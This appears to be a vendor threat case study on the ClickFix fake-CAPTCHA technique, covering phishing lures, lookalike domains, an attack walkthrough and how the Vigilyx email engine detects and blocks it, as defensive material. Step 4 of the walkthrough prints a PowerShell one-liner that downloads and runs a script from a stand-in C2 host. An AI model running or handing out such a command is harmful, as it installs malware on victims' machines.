Case 01 — ClickFix / Fake CAPTCHA Payload Delivery
Sources: Proofpoint, CISA AA24-241A, Microsoft Threat Intelligence, Sophos X-Ops (2024 to 2025).
Background
ClickFix is one of the most active initial-access techniques from late 2024 through 2026. Attackers host malicious PowerShell or mshta commands on impersonation pages (fake Cloudflare verification, fake Google reCAPTCHA, fake Microsoft Word errors) and trick the victim into pressing Win+R, pasting the command, and pressing Enter themselves. Because the user typed the command, browser SmartScreen and most EDR initial-execution checks are bypassed.
Common email vectors:
- Fake DocuSign / Adobe / Microsoft document-share notifications
- "GitHub security alert" subjects (targeting developers)
- "Meeting recording is ready" subjects (corporate users)
- Plausible PDF / Word attachments containing redirect links
Email indicators
- Sender domains: lookalikes (
docusing-secure.com,docus1gn.com,microsoft-365-help.com) - SPF/DKIM: typically passes (attacker uses real registered domain via SES/SendGrid/Mailgun)
- Links: heavy use of
*.workers.dev,*.pages.dev,*.r2.dev,*.web.app - HTML: notification-style with one big CTA button and minimal body text
- Attachments: occasionally HTML attachments containing the fake reCAPTCHA UI directly
Animated walkthrough
ClickFix end-to-end
- 1AttackerForge DocuSign-style notification emailRegister lookalike domain, send via reputable ESP
- 2VictimVictim clicks the REVIEW DOCUMENT button
https://verify-cf.workers.dev/?id=ABC123 - 3AttackerLanding page mimics human verificationPage prompts user to press Win+R, paste, Enter
- 4System / GatewayJavaScript silently wrote command to clipboard
powershell -w h -c iwr https://c2.bad/x.ps1 | iex - 5VictimVictim executes the command themselves
- 6AttackerC2 delivers Lumma / DarkGate payload
- 7VigilyxVigilyx blocks the chain end-to-endVigilyx detectsheader_scan flags the lookalike, link_content fetches the landing page and detects clipboard.writeText plus Win+R fingerprints, content_scan matches phishing terms; DS-Murphy fusion escalates to High
Vigilyx detection coverage
Vigilyx blocks ClickFix without relying on external threat intelligence:
- Lookalike domain detection —
header_scanchecks IDN homoglyphs and substitution characters (crates/vigilyx-engine/src/modules/header_scan.rs) - Dynamic-hosting downgrade —
link_scanflags*.workers.dev,*.pages.dev,*.r2.dev(crates/vigilyx-engine/src/modules/link_scan.rs) - Landing-page fingerprinting —
link_contentandlanding_page_scanfetch the destination and match Win+R /clipboard.writeTextfingerprints (crates/vigilyx-engine/src/modules/link_content.rs,landing_page_scan.rs) - Phishing-keyword normalization —
content_scannormalizes traditional/simplified Chinese and fullwidth characters before matching (crates/vigilyx-engine/src/modules/content_scan/mod.rs) - Multi-module convergence — DS-Murphy fusion plus the convergence circuit breaker escalate to High when 3 or more modules fire (
crates/vigilyx-engine/src/pipeline/verdict.rs, steps 6.5 / 6.6) - Auto IOC retention — once a verdict reaches High, the C2 domain is added to the local IOC store so subsequent emails hit immediately (
crates/vigilyx-engine/src/ioc.rs)
In real-world replay against production traffic, Vigilyx reaches High on Cloudflare-Workers-hosted ClickFix landing pages without any external IOC feed, purely by combining link_content fingerprints with content_scan generic phishing terms.
Defense
- Add
*.workers.dev,*.pages.dev,*.r2.dev,*.web.app,*.netlify.appnewly-registered subdomains to a risk list (do not blanket-block — these platforms host plenty of legitimate traffic) - Enforce landing-page fetching where compliance allows; reject any page containing
clipboard.writeTextplus Win+R fingerprints - Disable common PowerShell parameters (
-EncodedCommand,-w hidden) at the endpoint via GPO
End-user training
- Any "human verification" that asks for a keyboard shortcut is an attack — Microsoft, Cloudflare, and Google never require manual command execution
- DocuSign and Adobe notifications come only from
docusign.netandadobesign.com; everything else is a lookalike
